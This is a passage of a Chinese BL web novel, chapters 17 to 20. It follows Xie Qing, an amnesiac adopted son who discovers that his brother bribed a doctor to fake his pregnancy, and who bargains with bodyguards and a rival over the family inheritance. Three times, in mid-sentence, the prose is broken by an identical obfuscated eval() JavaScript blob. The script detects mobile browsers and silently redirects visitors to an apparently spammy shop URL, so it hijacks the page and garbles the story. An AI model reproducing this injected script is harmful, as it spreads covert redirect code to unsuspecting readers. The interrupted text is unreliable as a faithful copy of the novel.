谢呈冰一脸淡然:“医生说是心理作用,大概是我心理压力大。” “为什么压力大?” 谢呈冰细嚼慢咽的吞下了一口饭,才说:“没什么,工作上的事。” 谢清脱口就想说让我帮你分担,但想到爸爸生前就不许他经手谢氏集团的任何业务,哥哥想来也不会答应,便把话咽了回去。 他想了会儿,突然问:“哥,爸爸以前有没有和你说,我有像什么人吗?” 谢呈冰:“没有。” “那,和我们家走得近的其他股东叔叔们也没说过吗?” 谢呈冰:“像我的童养媳。” 谢清无语:“那种玩笑话不用记这么久。” 谢呈冰突然放下筷子,无比专注地看向谢清,搞得谢清莫名紧张起来,排骨都从嘴边掉下去:“干、干嘛?” 谢呈冰用手接住了排骨,喂回谢清的嘴边:“如果我一直不结婚,你也不结婚,谢家就我们两个一起过一辈子,你说好不好?” “你不结婚就算了,干嘛我也不能结婚啊。”谢清嘟哝着把吃干净的骨头吐出去,忽然想到,哥哥难道是有成家的想法,顾虑他,所以试探? 于是他笑眯眯也给谢呈冰夹了一块排骨:“哥,你也到成家的年纪啦,要是有合适的嫂子,就带回家给我瞧瞧啊。” “我不结婚。”谢呈冰强调。 他盯着碗里的排骨看了一会儿,缓缓拿起筷子:“谢清,你呢?” 谢清:“我想结婚啊。” 虽然在华国同性婚姻法还没有通过,可他从小在福利院时就很向往一个完整的家庭,后来渐渐长大,也明白那一纸婚约代表不了什么,却依然还是想要未来的伴侣能和他领证,去别的国家领也行,甚至随便画一个没有法律效应的都行,他就是想要。 那是一种仪式感,一种约定,一种他或许也能束缚住谁的童年幻想。 想拥有一个能真正称之为家的,想象共同体。 谢呈冰沉默了一会儿,说:“那好吧,我结。” 17. 第 17 章 晚上谢清一回卧室,就发现谢呈冰已经坐在房间里。 “哥?找我有事?” 谢呈冰一本正经:“我陪你睡觉。” 谢清:“不要,你出去。” 谢呈冰:“这里是我的卧室。” 谢清把自己的睡衣翻出来:“那还给你,我回自己房间。” 谢呈冰的嘴唇抿成了一条僵硬的直线,片刻后站起来:“算了,你睡吧,我走了。” 谢清完全猜不透哥哥在想什么,难道是自己接触了连隐以后想东想西太挂相了,被他哥怀疑? 从回来以后,谢清无数次想和谢呈冰侧面打听车祸的事,说不定司机只是恰好来谢氏呢?说不定哥哥就是帮他找那个人算账呢?可每次都是话到嘴边,临阵脱逃。 他没有勇气,哥哥的疼爱像是薛定谔的猫,只要不揭开盒子,猫就永远没有确定性死亡。 谢清无精打采地趴在床上玩了会儿游戏,过了半天还是忍不住,从通讯录里翻出连隐的号码发起了呆。 手指好几次移动到屏幕上,又收回来。 最后一次痛下决心后,窗子忽然传来敲打声,轻轻的两下,间隔一会儿,又是轻轻两下。 谢清没好气地拉开窗帘。 宋岩以一个高危姿势站在窗沿,打手势让他开窗。 谢清对他吐了吐舌头,然后拉上了窗帘。 窗外突然“咚”的一声,像重物坠地的动静,谢清一开始觉得是宋岩故弄玄虚不加理会,可过了好半天窗子都没有再传出敲打声,他皱着眉过去重新拉开帘子,发现外面已经没人了。 谢清一愣,赶紧打开窗子探头查看,一开,宋岩蓦然从底下冒出身子,他居然一直吊着身体,用手扒在细窄的窗沿等这一刻,等到了便踩着窗沿迅速翻了进来。 “你……不要命啊!” 宋岩一进来就抱住了谢清,浑身裹着户外凉爽的气息,他反手拉上帘子,搂着谢清的腰低头捕捉那双开合的朱唇。 谢清推拒着连连后退,直至退到床边,被宋岩倾身压在了床上。 “起来,流氓!大半夜翻别人家窗户,你是采花贼啊?”谢清低骂,“怎么没摔死你?” 宋岩闷声笑道:“小少爷这是在担心我吗?” “谁担心你,你摔死了还得我们谢家赔。” “你要是知道宋家的孩子从小是怎么训练长大的,就不会担心我了。” 谢清已经连锤带踹的往宋岩身上来了好几下,奈何宋岩皮糙肉厚,压根没感觉。 “从我身上下去!你重死了。” “你都说了我要采花了,不下。” 说是这么说,宋岩还是稍微撑起身体,转移走了重量,但仍旧把谢清困在双臂之间。 谢清冷笑连连:“我还说了让你跟我呢,你不是不肯吗?现在又来献什么殷勤,怎么,比起光明正大,你更喜欢玩地下情?” 宋岩神色一黯:“那是规矩,我不能。” “那你现在又是在做什么?滚下去。”谢清更没好气。 过了一会儿,宋岩缓缓起身:“只是忍不住,想来看看你。” 谢清眼珠子转了转,忽然换上一张柔情似水的笑脸,凑过去伏在了宋岩肩头:“岩哥,不是我要赶你,只是你这样子,叫我哥哥知道了该怎么办呢?” 宋岩微一转头,对上谢清秋水一样的眸子,香软的气息钻进鼻翼,他不禁捏了捏谢清的脸。 谢清愈发柔顺地蹭了蹭他掌心:“岩哥。”婉转的比黄鹂鸟还动听。 宋岩只需稍一低头就能一亲芳泽,他没有压抑自己,直接亲了上去。 谢清难得乖巧地配合闭上眼睛,笑得甜津津的。 亲了一会儿,宋岩的手从谢清睡衣里钻进去,呼吸也不由加重,谢清腻声问他:“你还没回答我呢,叫我哥知道了怎么办?” “你不说,他就不知道。”宋岩咬住谢清的耳垂,用牙齿轻轻磨了一下,怕他痛,紧接着又舔了两下。 他不知道谢清对这个答案是否满意,手上的动作放得更轻,充满了讨好意味。 少倾,谢清抬起水灵灵的眸子:“哥哥什么都知道的。谢家的一切都是哥哥掌控,我什么也没有。爸爸走得时候,有没有公开遗嘱?” 宋岩略一犹豫,点了下头。 “那给我分遗产了吗?祖宅、公司给哥哥我没意见,其他的呢?他的那些车子,投资,其他固定资产,存折,或者人脉?有什么是给我的?” 宋岩沉默下去,尝试用吻转移谢清的注意力。 谢清急了:“你说啊?总不能什么都不给我留吧?” “别想那么多了,大少爷会保你衣食无忧。”宋岩没吻到香唇,便退而求其次摩挲着谢清的脸颊,用尽浑身解数想让他投入到亲密中来。 可谢清眼神渐渐冷了,一把挥开了他的手。 过了一会儿,谢清勉强笑笑,重新靠进宋岩怀里:“岩哥,听说爸爸在世时,还给过宋叔叔股份?” 他说的宋叔叔就是宋岩父亲,谢父视如手足的人。 宋岩并不隐瞒:“的确如此。父亲很感激,在老爷病床前发过誓会继续辅佐大少爷。” 连个外姓仆人都能拿到好处,却连一个子儿都不施舍给他?谢清心中既委屈又愤怒。 他说:“岩哥,那你能不能把公司财报拿给我看看?不要对外公开的那个版本,要哥哥保险柜里的。” 宋岩这次连犹豫都没有就拒绝了。 谢清气坏了,当即把人从身上推开。 宋岩哄他,他也不听。 宋岩有些挣扎:“我们家世代为忠,我是绝不能背叛家主的。” “所以根本没人把我当谢家少爷是吧?连你也不例外!”谢清抓起枕头打了宋岩两下,“滚,你给我滚。” “小少爷,不是这样。” 宋岩被推的退后几步,又反复走上前:“你叫我做别的什么,我都赴汤蹈火,唯独这个……真的不可以。” “那你在这儿跟我偷情就不算背叛了?!”谢清大声喊道,抓住他胳膊,“我现在就把哥哥喊过来说你强碱我,你看他会不会管什么世代为忠,看他还留不留你!” “哥——!!” 宋岩一把捂住了谢清的嘴:“宝宝,你真想和我断了吗?” 谢清瞪着他:“那你把哥哥下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173527|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周的行程发给我看看。” 宋岩又露出为难之色。 “你看,明明是你这也不行那也不行!我又不会对哥哥不利!你担心什么,我就看看。” 宋岩迟疑良久,终于在谢清扭过身再次赶他走时,从身后搂住他并答应了下来。 谢清这才稍微满意了一点,但还是用手肘别开了宋岩的拥抱:“行了,你走吧,我要休息了。” “好不容易进来看你一趟,就这样让我走了?” 见谢清不理他,宋岩叹了口气:“好,我走,我看你一眼就心满意足了。” 宋岩作势要起身,还不忘摸两下谢清的手:“早点进被窝里去,穿这么少别着凉了。” “说话就说话别动手动脚的,”谢清撇着嘴,“你又不是我男朋友,管东管西的。” 说话间谢清的手机进了视频电话,谢清低头一看,是严恺打来的,随手就接了。 “哟,小少爷终于舍得接我电话了?知不知道我为你折腾了……岩哥?!” 宋岩表情很不好看:“严恺,把人弄丢的事我还没找你算账,你还敢打来电话?” 严恺几乎是条件反射地心虚道歉,半天突然反应过来:“不是岩哥,我给谢清打的电话,又不是给你……说起来你们两个这么晚了为什么在一起?!” 谢清面无表情:“你们俩聊?” 严恺连忙说:“别,我找你的,我知道你生我气,这不,我是来将功折罪的,关于那件事,咱们约个时间呗,这次,我保证不会再出任何差错!” 宋岩:“约时间?滚一边去。”他上来抢过谢清的手机,“宝宝,什么意思,你和他约什么?” 看来宋岩并不知道他要找医生的事,谢清看了宋岩一眼,心里忖度着怀孕那件事宋岩知情的可能。 短短一瞬他就做出决定,劈手夺回手机:“关你什么事?我爱约谁约谁,你再不走,我喊我哥了。” 宋岩看着视频里的严恺,心中涌起一股怪异的感觉。 他之前不还见了谢清就脏话连篇吗?什么时候能这么心平气和,甚至有点亲近的打电话了? 总不能是被他教训了几次,真就听进去悔改了? 谢清被连忆心掳走,也是严恺来通风报信,当时他听到那个消息心急如焚,忽略了许多细节。 比如严恺当时为什么和谢清在一起,又比如找人的时候,严恺怎么也急得好像火烧眉毛。 严恺脾气和他几年前一样,暴躁,一点就着,宋岩知道谢清最不喜欢这样的,慢慢改了。谢清现在又怎么会有耐心和这种脾气的严恺说话? 宋岩满肚子疑问,可面对谢清的逐客令,也只有灰溜溜退到窗边:“……宝宝,那我走了?” 谢清好像没听到,和严恺不知聊什么聊的都笑起来,那么开心。 宋岩翻出窗外,平稳落地,仰头看着亮灯的卧室,站了一会儿,拿出手机给严恺所在的小队队长发了条消息:【你们队的艺人雇主说,最近私生猖獗,有趁夜深人静从酒店窗子偷翻进去的,晚上也要加强保全,把偷懒的都组织起来,打起精神认真工作。】 发完,面无表情地隐入夜色。 18. 第 18 章 次日早上,谢清收到宋岩发过来的他哥哥的本周日程。 谢清看了一遍,就对什么时候能偷偷溜出去心中有数了。只是有一处他觉得奇怪,哥哥每天下班后都有一个固定神秘行程,没有写明地点和目的,就简简单单两个字的备注:「见面」 和谁见面? 谢清只是稍微好奇了一下,很快就把这事忘在脑后。 “在看什么这么入神?”谢呈冰在餐桌另一头问他。 谢清赶忙收起手机,假模假样吃两口:“登游戏领一下日常奖励。” 谢呈冰“嗯”了一声。 谢清看哥哥心情好像不错,试探着问:“哥,我今天不想和你去公司,在你办公室坐着好无聊,你又不让我自己活动。” 谢呈冰似乎早料到他会这么说,慢条斯理地咽下食物,才说:“那就在家休养吧。” “家里待久了也很无聊啊,我真觉得我身体没什么不良反应,哥你和那些保镖说一声,偶尔让我出去玩玩嘛。” “不是不想和我去公司吗?” 谢清真不知道谢呈冰是没听懂还是装傻,他想出门,就只可能是和哥哥一起去公司?! 这种对话几乎每天早上都要变着花样重复,哥哥的宠爱和退让总会止步在他提出自己出去的时候,软的硬的怎么来都没用,他一追问为什么,谢呈冰就搬出他怀孕这件事来说。 谁怀孕这么久了肚子还平平的一点反应也没有?不,从一开始他就应该这么怀疑——哪个男人会怀孕啊?! 他现在这个状况,根本就是被软禁了吧? 谢清闷闷不乐地扔下刀叉:“不吃了,牛排煎的硬硬的难吃死了。” 谢呈冰这个时候就会无视他的情绪,淡定地说:“好,明天换个厨子。” 谢清故意大动作地踢开桌椅,重重踩着楼梯回卧室了。 大约过了十几分钟,谢呈冰推门进来,给他放下了一沓游戏卡带:“这是上个月的新游戏,你在家无聊就玩吧,注意保护眼睛,隔一个小时休息一下。” 谢清趴在床上不说话。 谢呈冰:“那我去公司了。” 谢清用兔子玩偶的耳朵盖住了自己耳朵。 “不送送我吗?你以前都会给我平安抱抱。” 片刻后,谢呈冰眼神黯淡,轻声道:“抱歉,我只是害怕你再也……” 谢清没听清楚,悄悄把兔子耳朵拿开了一点,抑或谢呈冰本来也没有说下去,门口只有他转身离开的声音。 谢呈冰也会有害怕的事情吗? 家里的大魔王一走,谢清就给严恺发消息让他来:【给你最后一次机会,再敢糊弄要你好看!】 严恺的车就停在谢宅外几百米处,收到消息时哼了一声:“口气还不小。” 旁边的白大褂医生颤颤巍巍说:“能不能把枪拿远一点……我怕它走火……” “闭嘴,让你干嘛就干嘛。”严恺那双凶悍的眼睛一横,医生马上捂住嘴不敢出声了。 后座还坐了两个弟兄,一边把风一边忍不住问:“严恺,你到底有啥病不能在医院看的,非得掳个医生来这儿?这儿不是谢家吗?” “你最近到底和谁总聊天呢?抱个手机魂不守舍的。” “你们也闭嘴。” 后排两人互觑一眼,耸耸肩。 谢宅的防守都是自己人,严恺稍微贿赂了一下就带着医生进来了。 他如入无人之境地上了二楼,见到谢清之前脑子里还在模拟,一会儿见到了是先骂他上次不替自己求情,还是逼他讲几句好听的才能让医生出场。 结果一推开卧室门,就看见谢清抱着只兔子玩偶毫无睡相的歪靠在床头,手臂垂出去,手机在掌心躺着半掉不掉,屏幕还亮着。 他睡衣都卷上去了,露出一截莹白如玉的腰肢,严恺知道医生的目光肯定也落在那里,任谁都忍不住要停留一会儿。 谢清的上半身还在一点点往下滑,眼看就要掉出床外。 “吗的,都几点了,真能睡。”严恺边骂边冲上去接住了他。 谢清只是在浅眠的状态,身体一失重马上就醒了,看到严恺在眼前,皱了下鼻子:“一身烟味,走开。” “艹,谁愿意接你!” “这么快就来了啊,你还走的是正门?还以为又要翻窗呢。”谢清揉了揉眼睛,慢慢坐直了身体,睡衣顺势垂下去。 严恺瞥了眼窗户:“那你还反锁窗户?真行。” 谢呈冰不在,当然就不用翻窗了。 这时候门口的医生尴尬地发出声音:“嗨。” 谢清撩起眼皮看了他一眼,突然一震:“是你?!” 这不是他失忆醒来那天,说他怀孕了的医生吗?!谢清猛地站了起来,不可思议地看向严恺:“什么意思?” 严恺下巴一指:“医生,你自己跟他说。” 医生被迫难为情地走上前两步:“谢先生,嗯……你身体挺健康的,你脑袋怎么样了好点没有?” “别扯乱七八糟的,说重点!”严恺催促。 医生硬着头皮:“你没怀孕。” 谢清张了张口,没说出话来。 医生双手合十举过头顶:“对不起对不起啊,你千万别举报我,也是你哥给钱让我这么说的。” 谢清指了下严恺:“不是他逼你这么说的?” 严恺一踢桌子:“艹,谢清你什么意思?老子辛辛苦苦把这骗子给你揪出来,你还倒打一耙?骗你有什么好处?” “那我哥骗我又有什么好处??”谢清大声说。 医生一脸尴尬,默默后退:“我说完了,你们慢聊,我走了,走了哈……” “站住!”谢清冲上去拽住他的衣领,“你说清楚,我哥什么时候找的你,怎么交代你的,为什么要做这种事!” 医生五官都皱在了一起:“我说我说别激动,就在你住院的前一天,他和院长一道来的,暗示我稍微和你开个小玩笑……” “小玩笑,哈哈。”严恺在边上笑出声。 谢清冷冷看了他一眼,他就把嘴闭上了。 医生:“他说你第二天会来医院做身体检查,叫我这么和你说的。只是没想到你是车祸进来的,而且还失忆了,不过我钱都收了所以还是照办了。” “不愧是不正规医院。”严恺竖了下拇指,“小少爷,你眼光真不错。不过仔细想想,你当时离家出走躲躲藏藏,也确实没有大医院可供选择了。” 谢清:“所以他为什么这么做?” 医生:“这个我就不知道了哈,我只是拿钱办事。” 严恺:“还能为什么,你离家出走,他想把你吓唬回家呗。” 谢清的目光迟钝地转向严恺:“我当初为什么离家出走?” “这我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173528|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪知道?” 谢清慢慢后退到床边,呆呆坐了下去。 严恺给医生甩了个眼色让他走,医生求之不得,几乎是落荒而逃。 “这事岩哥肯定也知情,我就是套他的话,才找到那家医院的。怎么,他都没有告诉你吗?就让你一直这么担惊受怕?” 严恺语气怪怪的,不知道在阴阳什么。 谢清扯出一个冷漠的微笑:“真是爸爸和哥哥的好狗。” 严恺顿时哑火了,他是有一点挑拨的意思,倒也没想到谢清直接就骂上了,一时间对宋岩有些心虚内疚。 可转念一想,宋岩本来就是为了任务才接近谢清,演的一往情深的连他看了都想吐。就算他揭穿一下,也没什么吧,反正那任务现在肯定结束了。 至于他自己……明明他就不曾因为什么任务才注意到谢清,可谢清眼里反而永远没有他。 现在好了。 谢清低着头静静看着拖鞋上的卡通图案,神情好像很难过。 “他以前从来不骗我的……” 严恺心情有点复杂:“岩哥不是一开始就在骗你了吗。” “我说我哥。” “哦。” 谢清:“你说他是为了骗我回家撒这种谎,那现在我都回家了,为什么还继续撒谎呢?” 严恺还是很想说“我哪知道”,但看谢清这副又死一次爹的模样,还是绞尽脑汁帮他想了想。 “谢老爷子走的时候,外界都传你和你哥争夺遗产大打出手,有没有可能是你掌握了他的什么弱点,所以他现在忌惮你?但是为了名声呢,又不能光明正大对付你?” 严恺每说一句,谢清的脸色就惨白一分。 严恺抓耳挠腮了半天,走过去大剌剌拍了下谢清的肩:“嗐,没事。亲兄弟也没少打架的,更何况你们还不是亲的呢!” 这话更加起了反效果。 谢清眼睛一下子就红了:“对啊,不是亲的。” 严恺的猜测也不完全无稽,再结合连隐之前的车祸暗示,都指向了一个可怕的谜底。 “如果一直不要长大就好了。” 严恺没想到今天过来会有这么棘手的情况,酝酿了半天,伸手决定摸一下谢清的头。 谢清蓦然打开他的手:“你干嘛啊?” 他抹了把脸站了起来:“哼,如果真的有那个弱点,我能找到一次,就能找到第二次。” 严恺:“你……” 谢清瞪着他:“看什么看,你是宋氏培养的保镖吧?按说也应该向着我哥的,不过你已经做了这么多背地里忤逆他的事,没机会被他重用了,我看你就投奔我吧。等我争回我应得的,自然也少不了你的。” 严恺:“嘁,当我稀罕。” “那你稀罕什么?” 严恺被他问的一愣。对啊,他是宋氏的人,到底干嘛要帮谢清这个有名无实的少爷呢?图什么? “你不会是稀罕我吧?”谢清眯着眼睛,耐人寻味地笑起来,“那你可要趁早死心了,我是你得不到的人。” “呸,像你这种水性杨花的人,我稀罕你给我戴绿帽?”严恺恶狠狠道,“少自恋了,记住你承诺的,我帮你,你给钱就行!” 谢清沉着脸不再开口,牙关咬得很紧。 ……他也不想做出这种选择。可如果谢呈冰真的对不起他,他也不能当任人宰割的羔羊。 19. 第 19 章 医生走了以后没多久,谢清就把严恺也赶了出去。 他在谢呈冰的卧室里慢慢走了一圈,这个房间整体色调很沉闷,摆设布置也毫无新意,他一点也不喜欢,和谢呈冰的个人气质一样无欲无求的。 可他失忆回家以后还是喜欢夜夜睡在这间屋子,因为谢呈冰在这个房间留下很多两个人的回忆。 谢呈冰会把他们两兄弟的合照摆在床头,会把他送过的大大小小奇奇怪怪的礼物逐一珍藏在展柜,会收集他念书时候的涂鸦和手工,就连他没用完的一块雪花橡皮擦,都摆放在和办公文件一样重要的抽屉。 种种一切都让谢清觉得,谢呈冰很在意他,十年兄弟不是白当的。 但是现在,他一点也不敢揣测了。 说起来,谢呈冰从来不在人前承认他是他的弟弟,也从来不叫他弟弟。经常只介绍“这是我学弟”,最多再说一句“他是我谢家的人”。 谢清忍不住扣下了床头的那张合照。 他拿出手机,在屏幕前犹豫了很久,终于还是按了下去。 连隐的电话拨通了。 男人接起来后,声音里带着淡淡的笑意:“你比我想的动作要快,考虑好了?” 谢清也不废话:“你能给我提供什么帮助,你的目的又是什么。你的回答如果让我满意,我们再往下谈,否则我不会再打给你,你想好怎么说。” 连隐笑意加重了:“你知道我最喜欢的动物是什么吗?就是小刺猬,别看它们摸着扎手,要是能取得它们的信任,让它们摊开肚皮,软软的真是可爱极了。” 谢清在心里骂了声老变态:“我管你喜欢什么。” 电话那头突然传来一些杂音,有人在砸东西,有玻璃或者瓷器碎掉的声音,接着连忆心的声音响起来:“你在和谁打电话?是不是阿清?” 短短几天,他的嗓子变得粗哑了许多,明明是歌手,却这么不爱惜。 连隐似乎把电话拿远了一些。 “给我!我要和阿清说话!” 紧跟着连忆心像被人打了一记闷棍,“咚”一声伴随着他的痛哼,和身体摔在杂物里的声音。 连隐语调变得很沉:“忆心,家法没吃够?” 又是一阵混乱的脚步声过后,连忆心的叫骂声越来越远,最后电话那头安静了。 连隐:“又叫谢先生见笑了,逆子倔得很,随他妈妈了。” 谢清脑子里突兀地想起一点画面,还在和连忆心谈恋爱的时候,他问起过连忆心的家庭。 当时连忆心告诉他:“我爸妈都死了。” 别人这时候大都会道歉,但谢清自己本身也从小没了亲妈亲爹,对此只是点点头:“哦。” 连忆心显得很高兴,他从身后抱住了谢清,亲吻他的脖颈:“宝宝,亲人都是自己选的。你来当我最亲的人,好不好?” 谢清被亲的很痒,笑着躲他:“可是我已经有最亲的亲人了,就是我哥哥哦?那个位置不可以给别人的。” 连忆心当时站在他身后,谢清看不见他的表情,只听到他笑着说:“那我只好杀掉你哥哥了。”还以为他开了个过分的玩笑。 后来了解连忆心真正的性格才明白……那天他搞不好是认真的。 现在谢清忍不住问连隐:“你是他亲爹吧?” 连隐显然以为他在讽刺自己的严厉,奇道:“谢先生是在心疼犬子?” “你误会了,我只是想起来他说,他爸妈都死了。” 连隐毫无芥蒂地笑了笑:“那是他讨厌我故意这么说的。不过他妈妈的确很早就不在了。” 说起连忆心的妈妈时,男人声音里有罕见的温柔,还有一丝追忆:“她叫心心。谢清,你有一双……跟她很像的眼睛。” “欣欣?”谢清愣了一下。 “忆心的心。” “哦。” 短暂的跑题后,谢清把男人从回忆里拉出来:“连叔叔,现在可以回答我的问题了吗?你能帮我什么,又想从我这得到什么?” “我能帮的忙,比你想的还要多。”连隐淡淡笑道,“比如给你提供一个容身之所,让谢家人无法找到。比如替你寻找合适的媒体,为你造势,曝光谢呈冰私吞你父亲的遗产,进一步动摇谢氏在其他方面的声誉,再比如……” 谢清忍不住打断:“他没有私吞。爸爸……谢怀章的遗嘱就是那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173529|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “法律上是那样,不代表舆论上是那样。”连隐意味深长,“所以才要媒体帮忙啊。” 谢清皱眉:“你是想我诬陷哥哥?” “那本来就是该你拥有的,谢怀章没有给你,谢呈冰也不肯让你,他不就是想剪断你的羽翼吗?谢清,我以为你已经想清楚了。” “有朝一日谢呈冰把你赶出谢家,你再行动一切就迟了。” 哥哥怎么可能把我赶出谢家! 他多想这么喊出来,但这只会显得他恼羞成怒,张牙舞爪的很难看。 是,他是害怕,他是想争,他也觉得这不公平,就算不是亲生的,他也给太子爷当了十年伴读了,没有功劳也有苦劳,工资不结一下吗? 但争是一回事,和谢呈冰对着干是另一回事。 连隐的方案太不留余地了,他不想那样对付谢呈冰。 他现在只不过是想摆脱谢呈冰的控制,又不是要哥哥死。 谢清怀疑连隐的目的根本不单纯,说不定是打着帮他的幌子,狠狠对付谢氏。 “连叔叔,你把我当傻子吗?” “怎么会呢?叔叔只是想帮你。”连隐说,“叔叔作为过来人要告诉你,对敌人仁慈,是对自己残忍。” “他不是我的敌人。”谢清说,“这就是你要说的全部了?那么很遗憾,我们无法合作,再见。” 电话挂断的干脆利落,连隐看着退出通话的手机屏幕,缓缓叹了口气。 “年轻人啊,就是得吃亏了才能叫醒。” 他身后站着一个穿白衣服的素净青年,见状笑着问:“叔叔,他还是不肯吗?” 连隐朝他招招手,白衣服青年绕过轮椅走到前面来。 “该你出场了,知道怎么做吧?” 青年笑道:“叔叔放心,毕竟,我也是阿清的哥哥呀。” 连隐哼笑:“你这弟弟护花使者多得很,普通哥哥可不值钱。” “那些人算什么东西,失个忆不就被忘得一干二净了?”青年说,“哦,抱歉叔叔,我说的不包括令公子。” “忆心确实愚蠢。”连隐横了他一眼,“你最好也不是自作聪明。” 20. 第 20 章 谢清知道今天晚上谢呈冰不会那么快回家,他要去赴那个奇怪的神秘日程,于是他光明正大地拿着一个空档案袋从家门口走出去。 保镖上来拦,谢清说:“是我哥叫我去送个文件,不信你们打电话问。” 保镖们哪敢给谢呈冰打,犹豫半天,打给了宋岩。 宋岩听到后沉默了几秒:“嗯,大少今晚的确有事。” 他也不算撒谎。 谢清顺利被放行了,一出住宅区,就把档案袋随手扔进了垃圾箱。同时接到宋岩发来的消息:【宝宝,记得及时回来,不然我可兜不住。】 消息也一键被送进了垃圾箱。 谢清去了以前常去的一间ktv酒吧。 谢父虽然不让他们碰烟酒,可严厉往往也只对谢呈冰一个,谢清以前还以为自己瞒的特别好,现在想想,大概只是爸爸懒得管他。 他就像是古代哥哥登基了的闲散王爷,越是不务正业,越合人心意。 谢清这次不是来买醉的,他知道身边的那群喜欢巴结谢家的狐朋狗友最爱来这儿,运气好说不定能碰到他们。 果然,他才进ktv,门口就撞见了邱家的独子。 邱宁轩看见谢清喜不自胜:“这不是谢二少?都有一年没见了吧!真是……” 他快步走过来,哥俩好的揽住谢清,上上下下地看:“真是一点没变啊?” 谢清打开他的手,邱宁轩倒也没介意,在得知谢清是一个人来的以后,说什么也要拉他一起进包厢。 谢清跟着他一起去了,包厢门一开,所有人的目光都落在谢清身上。唱歌的也停了下来。 当中有些人是第一次见到谢清,有个不知天高地厚地说了句:“哟,邱少哪儿点了个这么标致的?进来,笑一个看看。” 邱宁轩马上把他骂了个狗血淋头。 谢清进来,不少公子哥就自动给他把中间让了出来,一个二个都往他脸上瞧。 众所周知谢家两兄弟不是亲兄弟,谢呈冰长相凌厉,谢清却是一种完全相反的气质,水灵灵的,画里走出来的一样。 “谢二少,可终于舍得出来和兄弟们走动了啊?你消息消息也不回,电话电话打不通,你哥还说你要休养不见人。” 谢清慢悠悠给自己倒了杯果汁:“换号了而已,咱们加回来?” 先前那个让谢清笑一个的人见状拎起一瓶酒:“谢二少,喝什么果汁啊,来,我给你倒。” 谢清撩起眼皮,还真的冲他笑了一下。那人手一抖,酒洒出来。邱宁轩嘲笑:“樊正,慌什么,谢二少又不吃了你。” 谢清也摆摆手:“今天不想喝。” 心情不好,喝了会醉。 樊正迅速瞥了谢清一眼,换了个杯子,还是给他把酒倒满了:“交个朋友嘛,二少。” 谢清心中叹气。他就知道和这些人打交道,肯定还是避免不了要喝。 酒桌上又是三言两语的撺掇了几次,谢清只好把果汁换掉了。 富二代们马上又开始打听前一年的事。 “二少,听说你和你哥闹不和,真的假的啊?” 谢清随手拨弄了一下额前的碎发:“是啊。” 包厢里一下子安静不少,大家都有意无意往这儿瞟。 “真的是因为……因为网上说的那些?” 谢清笑笑:“没有,就是我不想读书想直接进公司,我哥不肯,就吵架了而已。” 几个公子哥恍然大悟。邱宁轩一拍大腿:“嗐,就这事,不过你们谢家家风严,也能理解。你要是想赚钱,可以跟我们玩啊。” 谢清不动声色地转着酒杯:“哦?” 樊正一直盯着他看,这会儿也笑吟吟开了口:“我手上就有个高收益的项目,投资回报比这个数,已经在招二轮投资了,谢少有兴趣入场吗?” 谢清慢慢思索着,他想要的不止是赚钱:“是什么项目呢?” 樊正笑得神神秘秘:“这个嘛……” 谢清心领神会,拿起酒杯去和他敬酒。碰杯的时候,他感觉樊正的手指挨到了他的,抬起眼睛,看到对方嘴角勾起弧度,看他的眼神令他有些不舒服。 樊正东扯西扯,半天说不到重点,一到关键处就又引来新一轮酒杯碰撞,谢清几杯下肚,头已经开始有点晕了。 不知道第几次添酒的时候,樊正说:“二少,你坐过来我和你说啊。” 谢清压下心中不快:“好啊。” 他缓缓起身走过去,靠近时被桌脚给绊了下,身子一晃,樊正立刻伸手,但谢清还是落入了另一个人的怀抱。 “在聊什么?远远就听见你们说什么高收益项目,投资什么的。” 樊正一怔:“秦、秦少?” 谢清茫茫然回头,看到了在医院醒来那天第一眼见到的帅哥,叫什么来着? “秦屿?” 秦屿笑起来:“是我,宝宝喝醉了吗?脸红红的。”他无比自然地搂着谢清退后一步,躲开了樊正的触碰。 樊正笑容淡了下去。 邱宁轩大声招呼:“秦少?什么风把您给吹来了?哈哈,来,坐坐坐,来都来了,和大家伙喝一杯呗。” 秦屿:“看到我老婆在这边,就过来打个招呼。坐就不坐了,今天是和生意伙伴来的,一会儿还要回去,你们吃好喝好,侍应生——来,给这桌加点水果饮料,熟食有没有?热的,上几道。我请。” “哎哟,秦少大方,谢谢秦少!”几个公子哥带着笑和他客套寒暄了几句。 谢清终于后知后觉地回过神来,一把推开他:“谁是你老婆?别瞎叫。” 气氛变得有点尴尬。 邱宁轩打圆场:“呵呵,小情侣吵架了?没事没事,床头吵架床尾和嘛。” 樊正却说:“听说秦少和谢少几个月前就分手了,难道是我记错了吗?秦少,我听我们家人说,秦叔叔最近不还给你安排相亲来着吗?” 邱宁轩在底下踩了他一脚,小声:“你别哪壶不开提哪壶!” 樊正:“谢二,你知不知道啊?” 